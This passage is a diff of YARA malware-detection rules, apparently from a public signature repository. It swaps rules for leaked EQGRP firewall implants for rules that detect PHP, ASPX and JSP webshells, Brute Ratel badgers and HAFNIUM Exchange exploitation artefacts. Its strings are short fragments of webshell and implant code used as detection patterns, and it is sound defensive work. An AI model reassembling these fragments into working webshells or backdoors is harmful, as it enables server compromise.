+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "97d7b85fa191380fe8b26ea60c8735a8f7179acc3a496ff0fc0dc5eefde2fe8a"
+		score = 65
+		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "498fc9f20b938b8111adfa3ca215325f265a08092eefd5300c4168876deb7bf6"
 
 	strings:
-		$s1 = "Components/Modules/BiosModule/Implant/E28F6/../e28f640j3_asm.S" fullword ascii
-		$s2 = ".got_loader" fullword ascii
-		$s3 = "handler_readBIOS" fullword ascii
-		$s4 = "cmosReadByte" fullword ascii
-		$s5 = "KEEPGOING" fullword ascii
-		$s6 = "checksumAreaConfirmed.0" fullword ascii
-		$s7 = "writeSpeedPlow.c" fullword ascii
+		$x1 = " * @package WordPress" fullword ascii
+		$s1 = "define('DB_NAME'," ascii
+		$s2 = "require_once(ABSPATH . 'wp-settings.php');" ascii
+		$fp1 = "iThemes Security Config" ascii
 
 	condition:
-		( uint16(0)==0x457f and filesize <40KB and 4 of ($s*)) or ( all of them )
+		uint32(0)==0x68703f3c and filesize <400KB and $x1 and all of ($s*) and not $x1 in (0..1000) and not 1 of ($fp*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_BARPUNCH_BPICKER : FILE
+rule SIGNATURE_BASE_PAS_Webshell_Encoded : FILE
 {
 	meta:
-		description = "EQGRP Toolset Firewall - from files BARPUNCH-3110, BPICKER-3100"
+		description = "Detects a PAS webshell"
 		author = "Florian Roth (Nextron Systems)"
-		id = "7e88ba9d-1f15-533a-b388-a2a027ddb07c"
-		date = "2016-08-16"
+		id = "6cb547ad-7a97-5c3d-83e1-114ea798ddb8"
+		date = "2017-07-11"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L902-L921"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f5d0cc881bedad736a90109933da8dbd32c4435aa255676c68ae3541bbb61e74"
-		score = 75
+		reference = "http://blog.talosintelligence.com/2017/07/the-medoc-connection.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9767-L9802"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "59f4f8caa60c2367b46f6af1aefa62e03e228b382ff58be3a27dad527a685eca"
+		score = 80
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "830538fe8c981ca386c6c7d55635ac61161b23e6e25d96280ac2fc638c2d82cc"
-		hash2 = "d859ce034751cac960825268a157ced7c7001d553b03aec54e6794ff66185e6f"
 
 	strings:
-		$x1 = "--cmd %x --idkey %s --sport %i --dport %i --lp %s --implant %s --bsize %hu --logdir %s --lptimeout %u" fullword ascii
-		$x2 = "%s -c <cmdtype> -l <lp> -i <implant> -k <ikey> -s <port> -d <port> [operation] [options]" fullword ascii
-		$x3 = "* [%lu] 0x%x is marked as stateless (the module will be persisted without its configuration)" fullword ascii
-		$x4 = "%s version %s already has persistence installed. If you want to uninstall," fullword ascii
-		$x5 = "The active module(s) on the target are not meant to be persisted" fullword ascii
+		$head1 = "<?php $____=" fullword ascii
+		$head2 = "'base'.(32*2).'"
+		$enc1 = "isset($_COOKIE['___']" ascii
+		$enc2 = "if($___!==NULL){" ascii
+		$enc3 = ").substr(md5(strrev($" ascii
+		$enc4 = "]))%256);$" ascii
+		$enc5 = "]))@setcookie('" ascii
+		$enc6 = "]=chr(( ord($_" ascii
+		$x1 = { 3D 0A 27 29 29 3B 69 66 28 69 73 73 65 74 28 24 5F 43 4F 4F 4B 49 45 5B 27 }
+		$foot1 = "value=\"\"/><input type=\"submit\" value=\"&gt;\"/></form>"
+		$foot2 = "();}} @header(\"Status: 404 Not Found\"); ?>"
 
 	condition:
-		( uint16(0)==0x457f and filesize <6000KB and 1 of them ) or (3 of them )
+		( uint32(0)==0x68703f3c and filesize <80KB and (3 of them or $head1 at 0 or $head2 in (0..20) or 1 of ($x*))) or $foot1 at ( filesize -52) or $foot2 at ( filesize -44)
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Implants_Gen6 : FILE
+rule SIGNATURE_BASE_ALFA_SHELL : FILE
 {
 	meta:
-		description = "EQGRP Toolset Firewall"
+		description = "Detects web shell often used by Iranian APT groups"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1b1c6426-7274-5fd4-9ea2-ef10bda769d4"
-		date = "2016-08-16"
+		id = "f0be44ec-bff0-5d01-aabd-df7aa05383e3"
+		date = "2017-09-21"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L923-L951"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "9f0aa1994199c8cef543b7602b574726171dd96df159a0c496db0c60c339c4d0"
+		reference = "Internal Research - APT33"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9814-L9832"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "651568b2b95c9e5c2b60fb3245e5afe4290235979e3df15bad96ccd08ae234ef"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "3366b4bbf265716869a487203a8ac39867920880990493dd4dd8385e42b0c119"
-		hash2 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
-		hash3 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
-		hash4 = "8e4a76c4b50350b67cabbb2fed47d781ee52d8d21121647b0c0356498aeda2a2"
-		hash5 = "6059bec5cf297266079d52dbb29ab9b9e0b35ce43f718022b5b5f760c1976ec3"
-		hash6 = "d859ce034751cac960825268a157ced7c7001d553b03aec54e6794ff66185e6f"
-		hash7 = "464b4c01f93f31500d2d770360d23bdc37e5ad4885e274a629ea86b2accb7a5c"
+		hash1 = "a39d8823d54c55e60a7395772e50d116408804c1a5368391a1e5871dbdc83547"
 
 	strings:
-		$s1 = "LP.c:pixSecurity - Improper number of bytes read in Security/Interface Information" fullword ascii
-		$s2 = "LP.c:pixSecurity - Not in Session" fullword ascii
-		$s3 = "getModInterface__preloadedModules" fullword ascii
-		$s4 = "showCommands" fullword ascii
-		$s5 = "readModuleInterface" fullword ascii
-		$s6 = "Wrapping_Not_Necessary_Or_Wrapping_Ok" fullword ascii
-		$s7 = "Get_CMD_List" fullword ascii
-		$s8 = "LP_Listen2" fullword ascii
-		$s9 = "killCmdList" fullword ascii
+		$x1 = "$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64')" ascii
+		$x2 = "#solevisible@gmail.com" fullword ascii
+		$x3 = "'login_page' => '500',//gui or 500 or 403 or 404" fullword ascii
+		$x4 = "$GLOBALS['__ALFA__']" fullword ascii
+		$x5 = "if(!function_exists('b'.'as'.'e6'.'4_'.'en'.'co'.'de')" ascii
+		$f1 = { 76 2F 38 76 2F 36 76 2F 2B 76 2F 2F 66 38 46 27 29 3B 3F 3E 0D 0A }
 
 	condition:
-		( uint16(0)==0x457f and filesize <6000KB and all of them )
+		( filesize <900KB and 2 of ($x*) or $f1 at ( filesize -22))
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Implants_Gen5 : FILE
+rule SIGNATURE_BASE_Webshell_FOPO_Obfuscation_APT_ON_Nov17_1 : FILE
 {
 	meta:
-		description = "EQGRP Toolset Firewall"
+		description = "Detects malware from NK APT incident DE"
 		author = "Florian Roth (Nextron Systems)"
-		id = "e35748ee-d530-5e73-a74d-5675d05725e9"
-		date = "2016-08-16"
+		id = "0122bb03-8ff0-554d-8fee-458f0ddd7664"
+		date = "2017-11-17"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L953-L978"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d4bbd9dbde4ca1da80d49157363ade3ec47d55828529ec7e1a46b64d07c991f0"
+		reference = "Internal Research - ON"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9834-L9853"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3c5bc3ee0218d4ce6902e49d7f938264ecd158f1f458e2fcef878f06f003ed08"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "3366b4bbf265716869a487203a8ac39867920880990493dd4dd8385e42b0c119"
-		hash2 = "830538fe8c981ca386c6c7d55635ac61161b23e6e25d96280ac2fc638c2d82cc"
-		hash3 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
-		hash4 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
-		hash5 = "8e4a76c4b50350b67cabbb2fed47d781ee52d8d21121647b0c0356498aeda2a2"
-		hash6 = "6059bec5cf297266079d52dbb29ab9b9e0b35ce43f718022b5b5f760c1976ec3"
-		hash7 = "d859ce034751cac960825268a157ced7c7001d553b03aec54e6794ff66185e6f"
-		hash8 = "464b4c01f93f31500d2d770360d23bdc37e5ad4885e274a629ea86b2accb7a5c"
+		hash1 = "ed6e2e0027d3f564f5ce438984dc8a54577df822ce56ce079c60c99a91d5ffb1"
 
 	strings:
-		$x1 = "Module and Implant versions do not match.  This module is not compatible with the target implant" fullword ascii
-		$s1 = "%s/BF_READ_%08x_%04d%02d%02d_%02d%02d%02d.log" fullword ascii
-		$s2 = "%s/BF_%04d%02d%02d.log" fullword ascii
-		$s3 = "%s/BF_READ_%08x_%04d%02d%02d_%02d%02d%02d.bin" fullword ascii
+		$x1 = "Obfuscation provided by FOPO" fullword ascii
+		$s1 = "\";@eval($" ascii
+		$f1 = { 22 29 29 3B 0D 0A 3F 3E }
 
 	condition:
-		( uint16(0)==0x457f and 1 of ($x*)) or ( all of them )
+		uint16(0)==0x3f3c and filesize <800KB and ($x1 or ($s1 in (0..350) and $f1 at ( filesize -23)))
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Pandarock : FILE
+rule SIGNATURE_BASE_Webshell_Jexboss_JSP_1 : FILE
 {
 	meta:
-		description = "EQGRP Toolset Firewall - from files pandarock_v1.11.1.1.bin, pit"
+		description = "Detects JexBoss JSPs"
 		author = "Florian Roth (Nextron Systems)"
-		id = "aa0ee05b-b3e4-576a-8a32-bdc8d98fe636"
-		date = "2016-08-16"
+		id = "4fe7a20b-dc2b-509b-bcf8-e3bfbbe7431a"
+		date = "2018-11-08"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L980-L1007"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d0a61410d7c5f309489ef4553f41a3a6fb7d0f24bcdb1f0d88e896265513add2"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9855-L9872"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "f540bbc88bffd0c961837416bd5166fd3cb54b6124ffffbf1cd60e49ab01bd30"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "1214e282ac7258e616ebd76f912d4b2455d1b415b7216823caa3fc0d09045a5f"
-		hash2 = "c8a151df7605cb48feb8be2ab43ec965b561d2b6e2a837d645fdf6a6191ab5fe"
+		hash1 = "41e0fb374e5d30b2e2a362a2718a5bf16e73127e22f0dfc89fdb17acbe89efdf"
 
 	strings:
-		$x1 = "* Not attempting to execute \"%s\" command" fullword ascii
-		$x2 = "TERMINATING SCRIPT (command error or \"quit\" encountered)" fullword ascii
-		$x3 = "execute code in <file> passing <argX> (HEX)" fullword ascii
-		$x4 = "* Use arrow keys to scroll through command history" fullword ascii
-		$s1 = "pitCmd_processCmdLine" fullword ascii
-		$s2 = "execute all commands in <file>" fullword ascii
-		$s3 = "__processShellCmd" ascii
-		$s4 = "pitTarget_getDstPort" fullword ascii
-		$s5 = "__processSetTargetIp" ascii
-		$o1 = "Logging commands and output - ON" fullword ascii
-		$o2 = "This command is too dangerous.  If you'd like to run it, contact the development team" fullword ascii
+		$x1 = "equals(\"jexboss\")"
+		$x2 = "%><pre><%if(request.getParameter(\"ppp\") != null &&" ascii
+		$s1 = "<%@ page import=\"java.util.*,java.io.*\"%><pre><% if (request.getParameter(\""
+		$s2 = "!= null && request.getHeader(\"user-agent\"" ascii
+		$s3 = "String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }}%>" fullword ascii
 
 	condition:
-		( uint16(0)==0x457f and filesize <3000KB and 1 of ($x*)) or (4 of them ) or 1 of ($o*)
+		uint16(0)==0x253c and filesize <1KB and 1 of ($x*) or 2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Bananausurper_Writejetplow : FILE
+rule SIGNATURE_BASE_Webshell_Jexboss_WAR_1 : FILE
 {
 	meta:
-		description = "EQGRP Toolset Firewall - from files BananaUsurper-2120, writeJetPlow-2130"
+		description = "Detects JexBoss versions in WAR form"
 		author = "Florian Roth (Nextron Systems)"
-		id = "901af182-cbfa-533a-a055-565d95005d62"
-		date = "2016-08-16"
+		id = "0973f6cf-8a5f-5449-812e-36aa6b9939df"
+		date = "2018-11-08"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1009-L1028"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "101e75800291a7603e03145bff298d7587c9b5f19102e7ba9ed3bf2b544fa5cf"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9874-L9897"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ee9cb22496d2e36d215caa9c7e295b41cb8434322a0097bbc3d1a365dce0c156"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "3366b4bbf265716869a487203a8ac39867920880990493dd4dd8385e42b0c119"
-		hash2 = "464b4c01f93f31500d2d770360d23bdc37e5ad4885e274a629ea86b2accb7a5c"
+		hash1 = "6271775ab144ce9bb9138bf054b149b5813d3beb96338993c6de35330f566092"
+		hash2 = "6f14a63c3034d3762da8b3ad4592a8209a0c88beebcb9f9bd11b40e879f74eaf"
 
 	strings:
-		$x1 = "Implant Version-Specific Values:" fullword ascii
-		$x2 = "This function should not be used with a Netscreen, something has gone horribly wrong" fullword ascii
-		$s1 = "createSendRecv: recv'd an error from the target." fullword ascii
-		$s2 = "Error: WatchDogTimeout read returned %d instead of 4" fullword ascii
+		$ = "jbossass" fullword ascii
+		$ = "jexws.jsp" fullword ascii
+		$ = "jexws.jspPK" fullword ascii
+		$ = "jexws1.jsp" fullword ascii
+		$ = "jexws1.jspPK" fullword ascii
+		$ = "jexws2.jsp" fullword ascii
+		$ = "jexws2.jspPK" fullword ascii
+		$ = "jexws3.jsp" fullword ascii
+		$ = "jexws3.jspPK" fullword ascii
+		$ = "jexws4.jsp" fullword ascii
+		$ = "jexws4.jspPK" fullword ascii
 
 	condition:
-		( uint16(0)==0x457f and filesize <2000KB and 1 of ($x*)) or (3 of them )
+		uint16(0)==0x4b50 and filesize <4KB and 1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Implants_Gen4 : FILE
+rule SIGNATURE_BASE_Webshell_Tinyasp : FILE
 {
 	meta:
-		description = "EQGRP Toolset Firewall - from files BLIAR-2110, BLIQUER-2230, BLIQUER-3030, BLIQUER-3120"
-		author = "Florian Roth (Nextron Systems)"
-		id = "8b2061f0-862d-51de-a7d0-7a36d3e71d61"
-		date = "2016-08-16"
+		description = "Detects 24 byte ASP webshell and variations"
+		author = "Jeff Beley"
+		id = "38b1f61b-e506-59b2-9157-d0345431c429"
+		date = "2019-01-09"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1030-L1051"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "3bfcef33e9a0a1753fd21458ee3173284f98942d30a496c5183c79a7df960208"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9899-L9910"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d8b7db89ea623d5bcf14476779df727827cfc752d4c6ba4208445fd7305e6943"
 		score = 75
-		quality = 85
+		quality = 83
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
-		hash2 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
-		hash3 = "8e4a76c4b50350b67cabbb2fed47d781ee52d8d21121647b0c0356498aeda2a2"
-		hash4 = "6059bec5cf297266079d52dbb29ab9b9e0b35ce43f718022b5b5f760c1976ec3"
+		hash1 = "1f29905348e136b66d4ff6c1494d6008ea13f9551ad5aa9b991893a31b37e452"
 
 	strings:
-		$s1 = "Command has not yet been coded" fullword ascii
-		$s2 = "Beacon Domain  : www.%s.com" fullword ascii
-		$s3 = "This command can only be run on a PIX/ASA" fullword ascii
-		$s4 = "Warning! Bad or missing Flash values (in section 2 of .dat file)" fullword ascii
-		$s5 = "Printing the interface info and security levels. PIX ONLY." fullword ascii
+		$s1 = "Execute Request" ascii wide nocase
 
 	condition:
-		( uint16(0)==0x457f and filesize <3000KB and 3 of them ) or ( all of them )
+		uint16(0)==0x253c and filesize <150 and 1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Implants_Gen3 : FILE
+rule SIGNATURE_BASE_WEBSHELL_ASPX_Mar21_1 : FILE
 {
 	meta:
-		description = "EQGRP Toolset Firewall"
+		description = "Detects ASPX Web Shells"
 		author = "Florian Roth (Nextron Systems)"
-		id = "ec64bb2b-566b-50b6-a518-222afc88d400"
-		date = "2016-08-16"
+		id = "52884135-6b86-5e3e-a866-36a812d5a9af"
+		date = "2021-03-12"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1053-L1076"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "32d4dd0e35ea480199f5b2032145326c3eef73243783c580605a4de6877df982"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/thor-webshells.yar#L9912-L9937"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "acc0d67326d1f764d6fc54681b38f491c55968ec34e40d181426cfcf418eeb21"
 		score = 75
-		quality = 85
+		quality = 83
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "830538fe8c981ca386c6c7d55635ac61161b23e6e25d96280ac2fc638c2d82cc"
-		hash2 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
-		hash3 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
-		hash4 = "8e4a76c4b50350b67cabbb2fed47d781ee52d8d21121647b0c0356498aeda2a2"
-		hash5 = "6059bec5cf297266079d52dbb29ab9b9e0b35ce43f718022b5b5f760c1976ec3"
-		hash6 = "d859ce034751cac960825268a157ced7c7001d553b03aec54e6794ff66185e6f"
+		hash1 = "10b6e82125a2ddf3cc31a238e0d0c71a64f902e0d77171766713affede03174d"
+		hash2 = "170bee832df176aac0a3c6c7d5aa3fee413b4572030a24c994a97e70f6648ffc"
+		hash3 = "31c4d1fc81c052e269866deff324dffb215e7d481a47a2b6357a572a3e685d90"
+		hash4 = "41b5c26ac194439612b68e9ec6a638eceaf00842c347ffa551eb009ef6c015a3"
+		hash5 = "4b645bc773acde2b3cc204e77ac27c3f6991046c3b75f42d12bc90ec29cff9e3"
+		hash6 = "602bb701b78895d4de32f5e78f3c511e5298ba244b29641b11a7c1c483789859"
+		hash7 = "7ac47a17c511e25c06a53a1c7a5fbbf05f41f047a4a40b71afa81ce7b59f4b03"
+		hash8 = "9a5097d0e8dc29a2814adac070c80fd4b149b33e56aaaf9235af9e87b0501d91"
+		hash9 = "9efb5932c0753e45504fc9e8444209b92c2bdf22e63b1c1a44e2d52cb62b4548"
+		hash10 = "d40b16307d6434c3281374c0e1bbc0f6db388883e7f6266c3c81de0694266882"
 
 	strings:
-		$x1 = "incomplete and must be removed manually.)" fullword ascii
-		$s1 = "%s: recv'd an error from the target." fullword ascii
-		$s2 = "Unable to fetch the address to the get_uptime_secs function for this OS version" fullword ascii
-		$s3 = "upload/activate/de-activate/remove/cmd function failed" fullword ascii
+		$s1 = ".StartInfo.FileName = 'cmd.exe';" ascii fullword
+		$s2 = "<xsl:template match=\"\"/root\"\">" ascii fullword
+		$s3 = "<?xml version=\"\"1.0\"\"?><root>test</root>\";" ascii fullword
 
 	condition:
-		( uint16(0)==0x457f and filesize <6000KB and 2 of them ) or ( all of them )
+		uint16(0)==0x253c and filesize <6KB and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_BLIAR_BLIQUER : FILE
+rule SIGNATURE_BASE_HKTL_Bruteratel_Badger_Indicators_Oct22_4 : FILE
 {
 	meta:
-		description = "EQGRP Toolset Firewall - from files BLIAR-2110, BLIQUER-2230"
-		author = "Florian Roth (Nextron Systems)"
-		id = "6f83bb11-f789-544e-8dca-c2dc2c845331"
-		date = "2016-08-16"
+		description = "Detects Brute Ratel C4 badger indicators"
+		author = "Matthew @embee_research, Florian Roth"
+		id = "a62d08ae-0fb3-55e9-b6f8-7940f8032e4a"
+		date = "2022-10-12"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1078-L1111"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "59b7303dba0a79919d79627697a8724337145cd6d7b5c53cda970bf437162865"
+		reference = "https://twitter.com/embee_research/status/1580030310778953728"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/hktl_bruteratel_c4_badger.yar#L2-L19"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9af05225f462c8d4ec1fb14dc06bb789f76b0d818cb82c3dfcd5abc693727f33"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "05031898f3d52a5e05de119868c0ec7caad3c9f3e9780e12f6f28b02941895a4"
-		hash2 = "d9756e3ba272cd4502d88f4520747e9e69d241dee6561f30423840123c1a7939"
 
 	strings:
-		$x1 = "Do you wish to activate the implant that is already on the firewall? (y/n): " fullword ascii
-		$x2 = "There is no implant present on the firewall." fullword ascii
-		$x3 = "Implant Version :%lx%lx%lx" fullword ascii
-		$x4 = "You may now connect to the implant using the pbd idkey" fullword ascii
-		$x5 = "No reply from persistant back door." fullword ascii
-		$x6 = "rm -rf pbd.wc; wc -c %s > pbd.wc" fullword ascii
-		$p1 = "PBD_GetVersion" fullword ascii
-		$p2 = "pbd/pbdEncrypt.bin" fullword ascii
-		$p3 = "pbd/pbdGetVersion.pkt" fullword ascii
-		$p4 = "pbd/pbdStartWrite.bin" fullword ascii
-		$p5 = "pbd/pbd_setNewHookPt.pkt" fullword ascii
-		$p6 = "pbd/pbd_Upload_SinglePkt.pkt" fullword ascii
-		$s1 = "Unable to fetch hook and jmp addresses for this OS version" fullword ascii
-		$s2 = "Could not get hook and jump addresses" fullword ascii
-		$s3 = "Enter the name of a clean implant binary (NOT an image):" fullword ascii
-		$s4 = "Unable to read dat file for OS version 0x%08lx" fullword ascii
-		$s5 = "Invalid implant file" fullword ascii
+		$s1 = { b? 89 4d 39 8c }
+		$s2 = { b? bd ca 3b d3 }
+		$s3 = { b? b2 c1 06 ae }
+		$s4 = { b? 74 eb 1d 4d }
 
 	condition:
-		( uint16(0)==0x457f and filesize <3000KB and (1 of ($x*) or 1 of ($p*))) or (3 of them )
+		filesize <8000KB and all of ($s*) and not uint8(0)==0x02
 }
-import "pe"
-
-rule SIGNATURE_BASE_EQGRP_Sploit : FILE
+rule SIGNATURE_BASE_EXPL_LOG_CVE_2021_27065_Exchange_Forensic_Artefacts_Mar21_1 : LOG CVE_2021_27065
 {
 	meta:
-		description = "EQGRP Toolset Firewall - from files sploit.py, sploit.py"
+		description = "Detects forensic artefacts found in HAFNIUM intrusions exploiting CVE-2021-27065"
 		author = "Florian Roth (Nextron Systems)"
-		id = "9f403965-5fb1-55b2-bef6-65c18e08e58f"
-		date = "2016-08-16"
+		id = "dcc1f741-cab0-5a0b-a261-a6bd05989723"
+		date = "2021-03-02"
 		modified = "2023-12-05"
-		reference = "Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp.yar#L1113-L1135"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "083f103dee6b209626c4d790dff0e53af757945ded63409b26bbe143c78e30eb"
+		reference = "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_hafnium_log_sigs.yar#L2-L13"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "9306cf177928266ea921461e9da80ad5bb37e1e0848559898a414956cfbc2b49"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "0316d70a5bbf068a7fc791e08e816015d04ec98f088a7ff42af8b9e769b8d1f6"
-		hash2 = "0316d70a5bbf068a7fc791e08e816015d04ec98f088a7ff42af8b9e769b8d1f6"
+		tags = "LOG, CVE-2021-27065"
 
 	strings:
-		$s1 = "print \"[+] Connecting to %s:%s\" % (self.params.dst['ip'], self.params.dst['port'])" fullword ascii
-		$s2 = "@overridable(\"Must be overriden if the target will be touched.  Base implementation should not be called.\")" fullword ascii
-		$s3 = "@overridable(\"Must be overriden.  Base implementation should not be called.\")" fullword ascii
-		$s4 = "exp.load_vinfo()" fullword ascii
-		$s5 = "if not okay and self.terminateFlingOnException:" fullword ascii
-		$s6 = "print \"[-] keyboard interrupt before response received\"" fullword ascii
-		$s7 = "if self.terminateFlingOnException:" fullword ascii
-		$s8 = "print 'Debug info ','='*40" fullword ascii
+		$s1 = "S:CMD=Set-OabVirtualDirectory.ExternalUrl='" ascii wide fullword
 
 	condition:
